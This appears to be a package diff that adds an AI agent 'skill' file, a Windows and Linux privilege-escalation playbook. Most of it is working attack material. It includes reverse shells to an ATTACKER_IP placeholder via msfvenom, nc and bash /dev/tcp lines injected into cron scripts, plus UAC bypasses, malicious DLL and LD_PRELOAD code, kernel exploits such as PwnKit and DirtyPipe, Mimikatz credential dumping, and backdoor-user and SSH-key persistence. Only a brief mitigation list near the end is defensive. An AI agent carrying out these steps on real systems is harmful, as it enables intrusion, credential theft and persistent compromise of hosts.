rtexit-method 0.1.0 → 0.1.1

package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md

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+---
+name: rt-privilege-escalation
+description: "Privilege escalation skill for Windows and Linux. Windows: WinPEAS automation, service misconfiguration (unquoted paths), AlwaysInstallElevated, token impersonation (SeImpersonatePrivilege), DLL hijacking, UAC bypass, registry RunKey. Linux: LinPEAS automation, SUID binary abuse via GTFOBins, sudo -l misconfiguration, cron job writable scripts, kernel exploit identification with linux-exploit-suggester, LD_PRELOAD."
+---
+
+# rt-privilege-escalation
+
+## Overview
+
+Privilege escalation (PrivEsc) is the act of exploiting misconfigurations, vulnerabilities, or design weaknesses to gain elevated permissions on a compromised host — moving from a low-privilege shell to SYSTEM/root. This skill covers both Windows and Linux environments and is used immediately after initial foothold to gain the access level needed for lateral movement, credential harvesting, and mission objectives.
+
+**When to use this skill:**
+- After obtaining any low-privilege shell (webshell, RCE, phishing)
+- After lateral movement lands you on a new host without admin rights
+- When an engagement requires domain admin or SYSTEM-level access
+- During internal penetration tests to demonstrate impact of initial compromise
+
+---
+
+## Prerequisites and Tool Setup
+
+### Attacker Machine (Kali Linux)
+
+```bash
+# Update and install core tools
+sudo apt update && sudo apt install -y \
+    python3 python3-pip curl wget git \
+    mingw-w64 mono-complete \
+    nmap crackmapexec evil-winrm
+
+# Install PEASS-ng (WinPEAS + LinPEAS)
+git clone https://github.com/carlospolop/PEASS-ng.git /opt/PEASS-ng
+cd /opt/PEASS-ng/winPEAS/winPEASexe && make release   # builds WinPEAS binaries
+# Pre-built binaries available in releases: https://github.com/carlospolop/PEASS-ng/releases
+
+# Download pre-built WinPEAS and LinPEAS
+wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_amsiescape.exe \
+    -O /opt/PEASS-ng/winPEASany_amsiescape.exe
+wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh \
+    -O /opt/PEASS-ng/linpeas.sh
+chmod +x /opt/PEASS-ng/linpeas.sh
+
+# Install linux-exploit-suggester
+git clone https://github.com/The-Z-Labs/linux-exploit-suggester /opt/linux-exploit-suggester
+
+# Install Windows privilege escalation tools
+git clone https://github.com/PowerShellMafia/PowerSploit /opt/PowerSploit
+git clone https://github.com/itm4n/PrivescCheck /opt/PrivescCheck
+git clone https://github.com/ohpe/juicy-potato /opt/juicy-potato
+git clone https://github.com/BeichenDream/GodPotato /opt/GodPotato
+
+# Install Impacket (for token and credential operations)
+pip3 install impacket
+
+# Setup a simple HTTP server for file delivery
+# (run from tool directory when needed)
+# python3 -m http.server 8080
+```
+
+### Target Enumeration Baseline
+
+Before running automated tools, capture the baseline manually:
+
+**Windows:**
+```cmd
+whoami /all
+net user
+net localgroup administrators
+systeminfo
+wmic os get Caption,Version,BuildNumber
+```
+
+**Linux:**
+```bash
+id
+uname -a
+cat /etc/os-release
+cat /proc/version
+whoami
+```
+
+---
+
+## Skill Levels
+
+### BEGINNER — Automated Enumeration and Low-Hanging Fruit
+
+**Goal:** Run automated scripts, identify obvious misconfigurations, report findings.
+
+#### Windows — WinPEAS Automation
+
+```powershell
+# Step 1: Transfer WinPEAS to target (from attacker machine)
+# On attacker:
+cd /opt/PEASS-ng && python3 -m http.server 8080
+
+# On target (PowerShell):
+Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/winPEASany_amsiescape.exe" -OutFile "C:\Temp\winpeas.exe"
+
+# Step 2: Run WinPEAS
+C:\Temp\winpeas.exe > C:\Temp\winpeas_output.txt 2>&1
+type C:\Temp\winpeas_output.txt
+
+# Step 3: Run with color output (interactive shell)
+C:\Temp\winpeas.exe fast searchfast
+
+# Step 4: PowerShell-based alternative (PrivescCheck)
+Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/PrivescCheck.ps1" -OutFile "C:\Temp\PrivescCheck.ps1"
+Set-ExecutionPolicy Bypass -Scope Process
+Import-Module C:\Temp\PrivescCheck.ps1
+Invoke-PrivescCheck -Extended -Report C:\Temp\privesc_report -Format TXT,HTML
+```
+
+#### Linux — LinPEAS Automation
+
+```bash
+# Step 1: Transfer LinPEAS
+curl http://ATTACKER_IP:8080/linpeas.sh -o /tmp/linpeas.sh
+chmod +x /tmp/linpeas.sh
+
+# Step 2: Run LinPEAS (full output with color)
+/tmp/linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt
+
+# Step 3: Run without color for log review
+/tmp/linpeas.sh -a 2>/dev/null | sed 's/\x1b\[[0-9;]*m//g' > /tmp/linpeas_clean.txt
+
+# Step 4: Quick SUID check
+find / -perm -u=s -type f 2>/dev/null
+
+# Step 5: Sudo permissions
+sudo -l
+```
+
+**What to look for in output (Beginners):**
+- Red/yellow highlighted findings in WinPEAS/LinPEAS
+- Services running as SYSTEM/root
+- Writable directories in PATH
+- SUID binaries not in standard list
+- Password files or credentials in plaintext
+
+---
+
+### INTERMEDIATE — Manual Exploitation of Common Misconfigurations
+
+#### Windows: Unquoted Service Paths
+
+Services with unquoted paths containing spaces can be hijacked by placing a malicious binary in an intermediate directory.
+
+```powershell
+# Step 1: Find unquoted service paths
+wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
+
+# Step 2: Verify with PowerShell
+Get-WmiObject Win32_Service | Select-Object Name, PathName, StartMode | Where-Object {$_.PathName -notmatch '"' -and $_.PathName -notmatch 'C:\\Windows'} | Format-List
+
+# Example vulnerable path:
+# C:\Program Files\Vulnerable App\service.exe
+# Attacker can place: C:\Program.exe or C:\Program Files\Vulnerable.exe
+
+# Step 3: Check write permissions on intermediate paths
+icacls "C:\Program Files\Vulnerable App"
+# Look for: BUILTIN\Users:(W) or BUILTIN\Users:(F)
+
+# Step 4: Generate malicious binary (on attacker machine)
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o /tmp/service_exploit.exe
+
+# Step 5: Place binary and start listener
+# On attacker:
+nc -lvnp 4444
+
+# On target:
+# Copy to writable intermediate path
+copy C:\Temp\service_exploit.exe "C:\Program Files\Vulnerable.exe"
+
+# Step 6: Restart service (if permissions allow)
+sc stop "VulnerableService"
+sc start "VulnerableService"
+# Or wait for system reboot
+```
+
+#### Windows: AlwaysInstallElevated
+
+```powershell
+# Step 1: Check registry keys (both must be 1)
+reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+
+# Step 2: If both return 0x1, generate malicious MSI
+# On attacker:
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f msi -o /tmp/evil.msi
+
+# Step 3: Transfer and execute
+# On target:
+Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/evil.msi" -OutFile "C:\Temp\evil.msi"
+
+# Start listener on attacker:
+nc -lvnp 4445
+
+# On target:
+msiexec /quiet /qn /i C:\Temp\evil.msi
+```
+
+#### Windows: Registry RunKey Persistence + Escalation
+
+```powershell
+# Check AutoRun registry keys for writable entries
+reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
+reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
+
+# Add persistence (HKCU — no admin needed)
+reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "WindowsUpdate" /t REG_SZ /d "C:\Temp\payload.exe" /f
+
+# Check for HKLM writability (requires admin — useful if you already have it for persistence)
+reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "WindowsUpdate" /t REG_SZ /d "C:\Temp\payload.exe" /f
+```
+
+#### Linux: SUID Binary Abuse via GTFOBins
+
+```bash
+# Step 1: Find all SUID binaries
+find / -perm -u=s -type f 2>/dev/null | sort
+
+# Step 2: Cross-reference with GTFOBins (https://gtfobins.github.io)
+# Common exploitable SUID binaries:
+
+# nmap (older versions)
+nmap --interactive
+nmap> !sh
+
+# vim/vi
+vim -c ':!/bin/bash'
+# or if vim has SUID:
+/usr/bin/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
+
+# find
+find . -exec /bin/bash -p \; -quit
+
+# bash (if SUID set)
+bash -p
+
+# python
+python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
+
+# less/more
+less /etc/passwd
+!/bin/sh
+
+# awk
+awk 'BEGIN {system("/bin/bash -p")}'
+
+# cp (copy /etc/passwd style attack)
+cp /bin/bash /tmp/rootbash
+chmod +s /tmp/rootbash
+/tmp/rootbash -p
+
+# Step 3: Verify privilege gained
+id
+whoami
+```
+
+#### Linux: Sudo Misconfiguration
+
+```bash
+# Step 1: Check sudo permissions
+sudo -l
+
+# Common misconfigurations:
+
+# NOPASSWD on all commands
+# (ALL) NOPASSWD: ALL
+sudo /bin/bash
+
+# NOPASSWD on specific binary — check GTFOBins
+# Example: (ALL) NOPASSWD: /usr/bin/less
+sudo less /etc/shadow
+!/bin/bash
+
+# Sudo with environment variable pass-through (env_keep+=LD_PRELOAD)
+# See ADVANCED section for LD_PRELOAD exploit
+
+# Sudo on vim
+sudo vim -c ':!/bin/bash'
+
+# Sudo on python
+sudo python3 -c 'import os; os.system("/bin/bash")'
+
+# Sudo on nmap
+sudo nmap --interactive
+nmap> !sh
+
+# Sudo on awk
+sudo awk 'BEGIN {system("/bin/bash")}'
+
+# Sudo on man
+sudo man man
+!bash
+
+# Sudo on zip
+TF=$(mktemp -u)
+sudo zip $TF /etc/hosts -T -TT 'bash #'
+sudo rm $TF
+```
+
+---
+
+### ADVANCED — Kernel Exploits, Token Impersonation, DLL Hijacking
+
+#### Windows: Token Impersonation (SeImpersonatePrivilege)
+
+SeImpersonatePrivilege is commonly held by IIS AppPool accounts, SQL Server service accounts, and network service accounts.
+
+```powershell
+# Step 1: Check privileges
+whoami /priv
+# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
+
+# Step 2: Choose the right Potato exploit based on OS version
+# Check OS version:
+(Get-WmiObject Win32_OperatingSystem).BuildNumber
+# 10240-14393 (Win10 early/Server 2016): JuicyPotato
+# 17134+ or if CLSID fails: PrintSpoofer or RoguePotato
+# Server 2019+/Win10 1809+: GodPotato
+
+# Step 3a: GodPotato (most universal — works on Win10/11, Server 2012-2022)
+# On attacker:
+wget https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe \
+    -O /opt/GodPotato/GodPotato-NET4.exe
+python3 -m http.server 8080
+
+# On target:
+Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/GodPotato-NET4.exe" -OutFile "C:\Temp\GodPotato.exe"
+# Execute command as SYSTEM:
+C:\Temp\GodPotato.exe -cmd "cmd /c whoami"
+# Reverse shell:
+C:\Temp\GodPotato.exe -cmd "cmd /c C:\Temp\payload.exe"
+
+# Step 3b: PrintSpoofer (Windows 10/Server 2016/2019 with spooler running)
+wget https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe \
+    -O /opt/PrintSpoofer64.exe
+
+# On target:
+C:\Temp\PrintSpoofer64.exe -i -c cmd
+# or for reverse shell:
+C:\Temp\PrintSpoofer64.exe -c "C:\Temp\payload.exe"
+
+# Step 3c: JuicyPotato (older systems — requires valid CLSID)
+# CLSID list: https://github.com/ohpe/juicy-potato/tree/master/CLSID
+C:\Temp\JuicyPotato.exe -l 1337 -p C:\Temp\payload.exe -t * -c "{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}"
+```
+
+#### Windows: DLL Hijacking
+
+```powershell
+# Step 1: Identify DLL hijacking opportunities
+# Method A: Process Monitor (Sysinternals) — filter on NAME NOT FOUND + .dll
+# Method B: Automated with WinPEAS (look for "Possible DLL Hijacking" section)
+
+# Step 2: Find writable directories in PATH
+$env:PATH -split ';' | ForEach-Object { 
+    if (Test-Path $_) { 
+        $acl = Get-Acl $_
+        $acl.Access | Where-Object { $_.FileSystemRights -match 'Write|FullControl' -and $_.IdentityReference -match 'Users|Everyone|Authenticated' }
+        if ($acl.Access | Where-Object { $_.FileSystemRights -match 'Write|FullControl' }) { $_ }
+    }
+}
+
+# Step 3: Identify target DLL from application
+# Example: Application loads "version.dll" from current directory before system path
+
+# Step 4: Create malicious DLL (on attacker)
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f dll -o /tmp/version.dll
+
+# For a custom DLL that also loads the real DLL (proxy DLL — less detection):
+cat > /tmp/proxy.c << 'EOF'
+#include <windows.h>
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
+    if (fdwReason == DLL_PROCESS_ATTACH) {
+        system("cmd.exe /c C:\\Temp\\payload.exe");
+    }
+    return TRUE;
+}
+EOF
+x86_64-w64-mingw32-gcc -shared -o /tmp/version.dll /tmp/proxy.c -lws2_32
+
+# Step 5: Place DLL and trigger (restart service/application)
+copy C:\Temp\version.dll "C:\Program Files\VulnerableApp\version.dll"
+sc stop "VulnerableApp" && sc start "VulnerableApp"
+```
+
+#### Windows: UAC Bypass
+
+```powershell
+# Step 1: Check UAC level
+(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
+# 0 = No prompt (no UAC)
+# 2 = Prompt for credentials
+# 5 = Prompt for consent (default)
+
+# Step 2: Check if current user is in local admins group
+net localgroup administrators
+# If yes, UAC bypass gives SYSTEM-equivalent without prompt
+
+# Method A: fodhelper.exe UAC bypass (Windows 10)
+New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Force
+New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
+Set-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name "(default)" -Value "C:\Temp\payload.exe"
+Start-Process "C:\Windows\System32\fodhelper.exe"
+# Cleanup after:
+Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force
+
+# Method B: computerdefaults.exe (similar to fodhelper, works on newer Win10/11)
+New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Force
+New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
+Set-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name "(default)" -Value "C:\Temp\payload.exe"
+Start-Process "C:\Windows\System32\computerdefaults.exe"
+Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force
+
+# Method C: Using UACME (comprehensive UAC bypass toolkit)
+# https://github.com/hfiref0x/UACME
+# Method 33: akagi64.exe 33 C:\Temp\payload.exe
+```
+
+#### Linux: Kernel Exploit Identification
+
+```bash
+# Step 1: Run linux-exploit-suggester
+curl http://ATTACKER_IP:8080/linux-exploit-suggester.sh -o /tmp/les.sh
+chmod +x /tmp/les.sh
+/tmp/les.sh | tee /tmp/les_output.txt
+
+# Step 2: Get kernel version details
+uname -r
+cat /proc/version
+lsb_release -a 2>/dev/null || cat /etc/*release
+
+# Step 3: Notable kernel exploits (match version carefully)
+# DirtyPipe (CVE-2022-0847) — Linux 5.8-5.16.10
+uname -r  # Must be 5.8 <= version <= 5.16.10
+git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits /tmp/dirtypipe
+cd /tmp/dirtypipe && gcc exploit-1.c -o exploit1 && ./exploit1
+
+# DirtyCow (CVE-2016-5195) — Linux < 4.8.3
+searchsploit dirtycow
+searchsploit -m 40839
+gcc -pthread /tmp/40839.c -o /tmp/dirtycow -lcrypt
+/tmp/dirtycow /etc/passwd "root:$6$saltsalt$<hash>:0:0:root:/root:/bin/bash"
+
+# PwnKit (CVE-2021-4034) — pkexec SUID (most Linux distros pre-Jan 2022)
+git clone https://github.com/ly4k/PwnKit /tmp/pwnkit
+cd /tmp/pwnkit && make && ./PwnKit
+
+# Step 4: Compile on attacker if target lacks gcc
+# Compile for target architecture:
+gcc -static exploit.c -o exploit_static
+# Transfer compiled binary
+```
+
+#### Linux: LD_PRELOAD Escalation
+
+```bash
+# Step 1: Check for env_keep LD_PRELOAD in sudo
+sudo -l
+# Look for: env_keep+=LD_PRELOAD
+
+# Step 2: Create malicious shared library (on target or attacker then transfer)
+cat > /tmp/shell.c << 'EOF'
+#include <stdio.h>
+#include <sys/types.h>
+#include <stdlib.h>
+void _init() {
+    unsetenv("LD_PRELOAD");
+    setgid(0);
+    setuid(0);
+    system("/bin/bash");
+}
+EOF
+gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
+
+# Step 3: Execute with sudo
+sudo LD_PRELOAD=/tmp/shell.so find / -name nothing 2>/dev/null
+# or any command you have sudo access to:
+sudo LD_PRELOAD=/tmp/shell.so apache2
+```
+
+---
+
+### EXPERT — Advanced Chains, Credential-Based Escalation, Living off the Land
+
+#### Windows: Token Manipulation with Incognito/Meterpreter
+
+```powershell
+# Via Meterpreter:
+# meterpreter> use incognito
+# meterpreter> list_tokens -u
+# meterpreter> impersonate_token "NT AUTHORITY\\SYSTEM"
+# meterpreter> getuid
+
+# Manual token manipulation with PowerShell:
+# Enable SeDebugPrivilege
+[System.Diagnostics.Process]::GetCurrentProcess().Handle
+
+# Steal token from privileged process using P/Invoke
+# (Requires custom script — use PowerSploit's Invoke-TokenManipulation)
+Import-Module C:\Temp\PowerSploit\Exfiltration\Invoke-TokenManipulation.ps1
+Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
+```
+
+#### Windows: Service Binary Replacement
+
+```powershell
+# Step 1: Find services with weak binary permissions
+# WinPEAS does this; manual check:
+Get-WmiObject Win32_Service | ForEach-Object {
+    $path = $_.PathName -replace '"','' -replace '\s.*',''
+    if ($path -and (Test-Path $path)) {
+        $acl = Get-Acl $path -ErrorAction SilentlyContinue
+        if ($acl) {
+            $acl.Access | Where-Object {
+                $_.FileSystemRights -match 'Write|FullControl|Modify' -and
+                $_.IdentityReference -match 'Users|Everyone|Authenticated'
+            } | ForEach-Object {
+                [PSCustomObject]@{Service=$_.Name; Path=$path; Rights=$_.FileSystemRights}
+            }
+        }
+    }
+}
+
+# Step 2: Backup original binary
+copy "C:\Program Files\VulnService\service.exe" "C:\Temp\service.exe.bak"
+
+# Step 3: Replace with payload
+copy C:\Temp\payload.exe "C:\Program Files\VulnService\service.exe" /y
+
+# Step 4: Restart service
+sc stop VulnService && sc start VulnService
+# Restore after exploitation:
+copy C:\Temp\service.exe.bak "C:\Program Files\VulnService\service.exe" /y
+```
+
+#### Linux: Cron Job Writable Script Hijacking
+
+```bash
+# Step 1: Enumerate cron jobs
+cat /etc/crontab
+ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/
+crontab -l 2>/dev/null
+# Check other users crons (if you can read /var/spool/cron)
+ls /var/spool/cron/crontabs/ 2>/dev/null
+
+# Step 2: Find writable scripts called by root cron
+# Example crontab entry: */5 * * * * root /opt/scripts/backup.sh
+ls -la /opt/scripts/backup.sh
+# If writable by current user:
+
+# Step 3: Inject reverse shell into cron script
+echo 'bash -i >& /dev/tcp/ATTACKER_IP/4447 0>&1' >> /opt/scripts/backup.sh
+
+# Alternative — replace script entirely
+cat > /opt/scripts/backup.sh << 'EOF'
+#!/bin/bash
+bash -i >& /dev/tcp/ATTACKER_IP/4447 0>&1
+EOF
+chmod +x /opt/scripts/backup.sh
+
+# Step 4: Setup listener and wait
+# On attacker:
+nc -lvnp 4447
+
+# Step 5: Check writable PATH directories used by cron
+# If crontab has PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
+# and /usr/local/bin is writable:
+echo '#!/bin/bash' > /usr/local/bin/curl
+echo 'bash -i >& /dev/tcp/ATTACKER_IP/4447 0>&1' >> /usr/local/bin/curl
+chmod +x /usr/local/bin/curl
+# When cron script calls 'curl', yours runs instead
+```
+
+#### Linux: Wildcard Injection in Cron
+
+```bash
+# If cron runs: tar czf /backup/archive.tar.gz /var/www/html/*
+# and you can write to /var/www/html:
+
+# Create files that tar interprets as flags
+echo "" > /var/www/html/--checkpoint=1
+echo "" > "/var/www/html/--checkpoint-action=exec=bash shell.sh"
+
+# Create the payload script
+echo '#!/bin/bash' > /var/www/html/shell.sh
+echo 'bash -i >& /dev/tcp/ATTACKER_IP/4448 0>&1' >> /var/www/html/shell.sh
+chmod +x /var/www/html/shell.sh
+
+# When tar runs with *, the filenames become flags and shell.sh executes as root
+```
+
+---
+
+## Step-by-Step Attack Workflow
+
+### Windows Privilege Escalation Workflow
+
+```
+1. LAND ON HOST
+   └─ Verify shell type (cmd/powershell), user context, architecture
+
+2. BASIC ENUMERATION (Manual)
+   ├─ whoami /all                    → Check privileges and group memberships
+   ├─ systeminfo                     → OS version, hotfixes
+   ├─ net user && net localgroup     → User and group inventory
+   └─ ipconfig /all && route print   → Network position
+
+3. AUTOMATED SCAN
+   └─ Run WinPEAS or PrivescCheck → Save output for review
+
+4. TRIAGE FINDINGS (Priority Order)
+   ├─ [P1] SeImpersonatePrivilege → Potato/PrintSpoofer → SYSTEM
+   ├─ [P1] AlwaysInstallElevated  → MSI payload → SYSTEM
+   ├─ [P2] Unquoted service paths → Binary in path → SYSTEM (on restart)
+   ├─ [P2] Weak service permissions → Replace binary → SYSTEM
+   ├─ [P2] DLL hijacking          → Malicious DLL → SYSTEM
+   ├─ [P3] UAC bypass             → Elevated shell (if local admin)
+   ├─ [P3] Scheduled tasks        → Replace binary/script
+   └─ [P4] Registry autoruns      → User-level persistence
+
+5. EXPLOIT
+   └─ Execute chosen technique → Catch shell → Verify SYSTEM
+
+6. STABILIZE
+   ├─ Add admin user (if in scope): net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add
+   ├─ Dump credentials: Invoke-Mimikatz or mimikatz.exe
+   └─ Setup persistence
+
+7. DOCUMENT
+   └─ Screenshot, log commands, record timestamps
+```
+
+### Linux Privilege Escalation Workflow
+
+```
+1. LAND ON HOST
+   └─ id, uname -a, cat /etc/passwd, cat /proc/version
+
+2. BASIC ENUMERATION (Manual)
+   ├─ sudo -l                        → Sudo permissions
+   ├─ find / -perm -u=s 2>/dev/null  → SUID binaries
+   ├─ cat /etc/crontab               → Cron jobs
+   ├─ env                            → Environment variables
+   └─ ps aux                         → Running processes
+
+3. AUTOMATED SCAN
+   └─ Run LinPEAS → Save output
+
+4. TRIAGE FINDINGS (Priority Order)
+   ├─ [P1] NOPASSWD sudo ALL         → sudo bash → root
+   ├─ [P1] Exploitable SUID binary   → GTFOBins technique → root
+   ├─ [P1] LD_PRELOAD with sudo      → Malicious .so → root
+   ├─ [P2] Writable cron script      → Inject reverse shell
+   ├─ [P2] Wildcard in cron          → Argument injection
+   ├─ [P2] Writable /etc/passwd      → Add root user
+   ├─ [P3] Kernel exploit match      → Compile and run
+   └─ [P4] Writable PATH in cron     → Binary hijacking
+
+5. EXPLOIT
+   └─ Execute chosen technique → Verify root with id
+
+6. STABILIZE
+   ├─ Add backdoor user: echo 'backdoor:$6$salt$hash:0:0::/root:/bin/bash' >> /etc/passwd
+   ├─ SSH key: echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys
+   └─ Dump /etc/shadow
+
+7. DOCUMENT
+   └─ Screenshot, log commands, record timestamps
+```
+
+---
+
+## Real Attack Scenarios
+
+### Scenario 1: IIS Webshell to SYSTEM via Token Impersonation (Windows)
+
+**Context:** Exploited file upload vulnerability, obtained webshell running as IIS AppPool\DefaultAppPool.
+
+```
+Phase 1 — Upgrade Shell
+```
+```powershell
+# In webshell, download and execute reverse shell
+powershell -c "Invoke-WebRequest http://ATTACKER_IP:8080/nc64.exe -OutFile C:\Temp\nc64.exe; C:\Temp\nc64.exe -e cmd.exe ATTACKER_IP 4444"
+```
+```
+# On attacker:
+nc -lvnp 4444
+# Connected as: IIS APPPOOL\DefaultAppPool
+```
+
+```
+Phase 2 — Verify Privilege
+```
+```cmd
+whoami /priv
+# SeImpersonatePrivilege          Enabled ← JACKPOT
+```
+
+```
+Phase 3 — GodPotato to SYSTEM
+```
+```powershell
+Invoke-WebRequest http://ATTACKER_IP:8080/GodPotato-NET4.exe -OutFile C:\Temp\gp.exe
+Invoke-WebRequest http://ATTACKER_IP:8080/nc64.exe -OutFile C:\Temp\nc64.exe
+
+# On attacker (new terminal):
+nc -lvnp 4445
+
+# On target:
+C:\Temp\gp.exe -cmd "C:\Temp\nc64.exe -e cmd.exe ATTACKER_IP 4445"
+```
+```
+# Connected as: NT AUTHORITY\SYSTEM
+```
+
+```
+Phase 4 — Credential Harvest
+```
+```cmd
+C:\Temp\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
+```
+
+**Chain Summary:** Webshell (IIS AppPool) → SeImpersonatePrivilege → GodPotato → SYSTEM → Credential dump
+
+---
+
+### Scenario 2: Low-Privilege SSH to Root via Sudo Misconfiguration (Linux)
+
+**Context:** Obtained SSH credentials for low-privilege user `www-data` from database dump.
+
+```
+Phase 1 — Connect and Enumerate
+```
+```bash
+ssh www-data@TARGET_IP
+id
+# uid=33(www-data) gid=33(www-data) groups=33(www-data)
+
+sudo -l
+# User www-data may run the following commands on target:
+#     (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/monitor.py
+```
+
+```
+Phase 2 — Analyze the Script
+```
+```bash
+cat /opt/scripts/monitor.py
+# import subprocess
+# subprocess.run(['ps', 'aux'])
+# The script imports subprocess — we can abuse Python path
+
+ls -la /opt/scripts/
+# -rwxr-xr-x 1 root root ... monitor.py
+# drwxrwxr-x 2 root www-data ... (directory is writable!)
+```
+
+```
+Phase 3 — Python Library Hijacking
+```
+```bash
+# Create malicious subprocess.py in the script directory
+cat > /opt/scripts/subprocess.py << 'EOF'
+import os
+os.setuid(0)
+os.setgid(0)
+os.system('/bin/bash -p')
+EOF
+
+sudo /usr/bin/python3 /opt/scripts/monitor.py
+# Python loads /opt/scripts/subprocess.py before system subprocess
+```
+```
+# id → uid=0(root) gid=0(root)
+```
+
+```
+Phase 4 — Establish Persistence
+```
+```bash
+echo 'ssh-rsa AAAA...[attacker-key]...' >> /root/.ssh/authorized_keys
+chmod 600 /root/.ssh/authorized_keys
+```
+
+**Chain Summary:** SSH (www-data) → sudo NOPASSWD python3 → Writable script directory → Python hijack → root
+
+---
+
+### Scenario 3: Domain User to Local SYSTEM via Unquoted Path + UAC Bypass (Windows)
+
+**Context:** Phishing gave low-privilege domain user shell. User is local admin but UAC is enabled.
+
+```
+Phase 1 — Enumerate Services
+```
+```powershell
+# Check for unquoted paths
+wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v '"' | findstr /i /v "C:\Windows"
+# VulnerableApp  C:\Program Files\Vulnerable App\bin\app.exe  Auto
+```
+
+```
+Phase 2 — Verify Write Permissions
+```
+```powershell
+icacls "C:\Program Files\Vulnerable App"
+# BUILTIN\Users:(W)  ← writable!
+```
+
+```
+Phase 3 — Place Malicious Binary
+```
+```powershell
+# On attacker:
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe -o /tmp/Vulnerable.exe
+python3 -m http.server 8080
+
+# On target:
+Invoke-WebRequest http://ATTACKER_IP:8080/Vulnerable.exe -OutFile "C:\Program Files\Vulnerable.exe"
+# nc -lvnp 4446 on attacker, then:
+sc stop VulnerableApp && sc start VulnerableApp
+```
+```
+# Shell returns as SYSTEM (service runs as LocalSystem)
+```
+
+**Alternative — UAC Bypass if needing admin context first:**
+```powershell
+# User is local admin, UAC blocks elevation
+# Use fodhelper bypass to get elevated cmd, then use Potato for SYSTEM
+$cmd = "C:\Temp\payload.exe"
+New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
+New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
+Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value $cmd
+Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
+Start-Sleep 3
+Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
+```
+
+**Chain Summary:** Domain user (local admin) → UAC bypass (fodhelper) → High integrity shell → Unquoted path → SYSTEM
+
+---
+
+## OPSEC Considerations
+
+### Detection Risks
+
+| Technique | Detection Method | Risk Level |
+|---|---|---|
+| WinPEAS/LinPEAS execution | AV signature, behavioral heuristics | HIGH |
+| Mimikatz | LSASS access, AV signature | CRITICAL |
+| GodPotato/PrintSpoofer | Named pipe creation, token duplication events (EID 4672) | HIGH |
+| UAC bypass (fodhelper) | Registry key creation in HKCU\Software\Classes\ms-settings | MEDIUM |
+| Kernel exploits | System crash risk, process anomaly detection | HIGH |
+| New local admin user creation | EID 4720 (user created), EID 4732 (added to group) | CRITICAL |
+| Service binary replacement | File integrity monitoring, service control events | HIGH |
+| Cron script modification | File integrity monitoring (auditd, AIDE) | MEDIUM |
+| SUID exploitation | Process spawning from SUID binary | LOW-MEDIUM |
+
+### Mitigation Guidance (For Report)
+
+**Windows:**
+- Remove SeImpersonatePrivilege from service accounts where not needed
+- Enable UAC at maximum level and patch
+- Quote all service paths in registry
+- Implement application whitelisting (AppLocker/WDAC)
+- Enable Credential Guard to protect LSASS
+- Audit and remove AlwaysInstallElevated registry keys
+- Use Protected Users security group for privileged accounts
+
+**Linux:**
+- Audit SUID binaries: `find / -perm -4000 2>/dev/null` — remove unnecessary ones
+- Use sudoers with specific commands and avoid NOPASSWD
+- Remove LD_PRELOAD from env_keep in sudoers
+- Implement file integrity monitoring (AIDE, Tripwire) on cron scripts
+- Keep kernel patched; monitor CVE feeds for running kernel version
